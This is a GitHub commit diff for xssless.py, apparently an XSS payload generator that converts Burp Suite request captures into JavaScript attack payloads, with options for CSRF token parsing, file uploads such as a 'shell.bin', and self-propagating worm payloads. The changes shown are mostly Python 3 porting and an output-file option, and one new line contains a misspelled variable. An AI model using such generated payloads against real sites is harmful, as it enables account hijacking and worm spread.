Skip to content

Commit a4ea2f0

Browse files
committed
Use withs for file auto-close, increase py3 compat, add outfile option
1 parent 800965e commit a4ea2f0

File tree

1 file changed

+51
-30
lines changed

1 file changed

+51
-30
lines changed

xssless.py

Lines changed: 51 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def payload_encode_input(filecontents):
4545

4646
# Get a list of headers for request/response
4747
def parse_request(input_var, url):
48-
48+
4949
# Set flags for later interpretation (ie, POST is actually JSON data, etc)
5050
flags = []
5151

@@ -98,7 +98,7 @@ def parse_request(input_var, url):
9898
# If the form is multipart the rules change, set values accordingly and pass it one
9999
if postisupload:
100100
postpartsList = body_data.split(fileboundary)
101-
101+
102102
# FF adds a bunch of '-' characters, so we'll filter out anything without a Content-Disposition in it
103103
for key, value in enumerate(postpartsList):
104104
if 'Content-Disposition' not in value:
@@ -138,7 +138,7 @@ def parse_request(input_var, url):
138138
bodyList.append(bodyDict)
139139
except ValueError:
140140
pass
141-
141+
142142
# Returned dict, chocked full of useful information formatted nicely for your convienience!
143143
returnDict = {}
144144
returnDict['method'] = rtypeList[0] # Method being used (POST, GET, PUT, DELETE, HEAD)
@@ -249,7 +249,7 @@ def xss_gen(requestList, settingsDict):
249249
http.setRequestHeader('Content-length', body.length);
250250
http.setRequestHeader('Connection', 'close');
251251
http.sendAsBinary(body);
252-
252+
253253
}
254254
"""
255255

@@ -354,7 +354,6 @@ def xss_gen(requestList, settingsDict):
354354
elif requestDict['method'].lower() == "head":
355355
head_flag = True
356356
payload += " doRequest('" + requestDict['path'] + "', 'HEAD', '');\n"
357-
pass
358357

359358
payload += " }\n"
360359
payload += "\n"
@@ -363,7 +362,7 @@ def xss_gen(requestList, settingsDict):
363362

364363
# Now add only the needed code for this particular payload
365364
func_code = ""
366-
365+
367366
if settingsDict['opt']:
368367
if mpost_flag:
369368
func_code += mpost_js
@@ -399,18 +398,21 @@ def xss_gen(requestList, settingsDict):
399398
-p=PARSEFILE Parse list - input file containing a list of CSRF token names to be automatically parsed and set.
400399
-f=FILELIST File list - input list of POST name/filenames to use in payload. ex: 'upload_filename,~/Desktop/shell.bin'
401400
-m=METALIST Self propagation list - input list of POST names for POSTing the XSS payload itself (for JavaScript worms)
401+
-o=OUTFILE Write payload to file rather than stdout
402402
-s Don't display the xssless logo
403403
-n Turn off payload optimization
404404
405405
"""
406-
if __name__ == '__main__':
406+
def main():
407407
if len(sys.argv) < 2:
408-
print logo
409-
print helpmenu
408+
print(logo)
409+
print(helpmenu)
410410
else:
411411
# settingsDict will contain code generation settings, such as waiting for each request to complete, etc.
412412
settingsDict = {}
413413
settingsDict['opt'] = True
414+
415+
outfile = None
414416

415417
showlogo = False if "-s" in sys.argv[1:] else True # quick check for this first incase they hate logos
416418

@@ -419,58 +421,65 @@ def xss_gen(requestList, settingsDict):
419421
continue
420422
if option == "-h":
421423
if showlogo:
422-
print logo
423-
print helpmenu
424+
print(logo)
425+
print(helpmenu)
424426
sys.exit(0)
425427
if "-m=" in option:
426428
metafile = option.replace("-m=", "")
427429
if os.path.isfile(metafile):
428-
tmpList = open(metafile).readlines()
430+
with open(metafile, 'r') as f:
431+
tmpList = f.readlines()
429432
for key,value in enumerate(tmpList):
430433
tmpList[key] = value.replace("\n", "")
431434
if len(tmpList):
432435
settingsDict['metaList'] = tmpList
433436
else:
434-
print "Error, meta list not found!"
437+
print("Error, meta list not found!")
438+
sys.exit(1)
435439
if "-p=" in option:
436440
parsefile = option.replace("-p=", "")
437441
if os.path.isfile(parsefile):
438-
tmpList = open(parsefile).readlines()
439-
for key,value in enumerate(tmpList):
440-
tmpList[key] = value.replace("\n", "")
441-
if len(tmpList):
442-
settingsDict['parseList'] = tmpList
442+
with open(parsefile, 'r') as f:
443+
tmpList = f.readlines()
444+
for key,value in enumerate(tmpList):
445+
tmpList[key] = value.replace("\n", "")
446+
if len(tmpList):
447+
settingsDict['parseList'] = tmpList
443448
else:
444-
print "Error, parse list not found!"
449+
print("Error, parse list not found!")
450+
sys.exit(1)
445451
if "-n" in option:
446452
settingsDict['opt'] = False
453+
if "-o=" in option:
454+
outfile = option.replace("-o=", "")
447455
if "-f=" in option:
448456
fileuploadlist = option.replace("-f=", "")
449457
if os.path.isfile(fileuploadlist):
450458
tmpDict = {}
451-
fileuploadlinesList = open(fileuploadlist).readlines()
459+
with open(fileuploadlist, 'r') as f:
460+
fileuploadlinesList = f.readlines()
452461
for key, value in enumerate(fileuploadlinesList):
453462
rowparts = value.replace("\n", "").split(",", 1)
454463
if len(rowparts) == 2:
455464
if os.path.isfile(rowparts[1]):
456465
tmpDict[rowparts[0]] = rowparts[1]
457466
else:
458-
print "File '" + rowparts[1] + "' not found!"
467+
print("File '" + rowparts[1] + "' not found!")
459468
sys.exit(1)
460469
else:
461-
print "Error while parsing file " + fileuploadlist + " on line #" + str(key)
462-
print " ->'" + value.replace("\n", "") + "'"
470+
print("Error while parsing file " + fileuploadlist + " on line #" + str(key))
471+
print(" ->'" + value.replace("\n", "") + "'")
463472
sys.exit(1)
464473
if tmpDict:
465474
settingsDict['fileDict'] = tmpDict
466475
else:
467-
print "Input filelist not found!"
476+
print("Input filelist not found!")
468477
sys.exit(1)
469478
else:
470-
print "Option " + option + " not recognized."
479+
print("Option '" + option + "' not recognized.")
471480
if showlogo:
472-
print logo
473-
print helpmenu
481+
print(logo)
482+
print(helpmenu)
474483
sys.exit(1)
475484

476485
if os.path.exists(sys.argv[-1]):
@@ -479,11 +488,23 @@ def xss_gen(requestList, settingsDict):
479488
inputfile = ""
480489

481490
if showlogo:
482-
print logo
491+
print(logo)
483492

484493
if inputfile:
485494
requestList = get_burp_list(inputfile)
486-
print xss_gen(requestList, settingsDict)
495+
payload = xss_gen(requestList, settingsDict)
496+
if outfile:
497+
try:
498+
with open(outfile, 'w') as f:
499+
f.write(payload)
500+
except:
501+
print("Couldn't open file '" + outfilfe + "' for writing.")
502+
sys.exit(1)
503+
else:
504+
print(payload)
487505
else:
488-
print "Error while processing Burp export, please ensure the file exists!"
506+
print("Error while processing Burp export, please ensure the file exists!")
489507
sys.exit(1)
508+
509+
if __name__ == '__main__':
510+
main()

0 commit comments

Comments
 (0)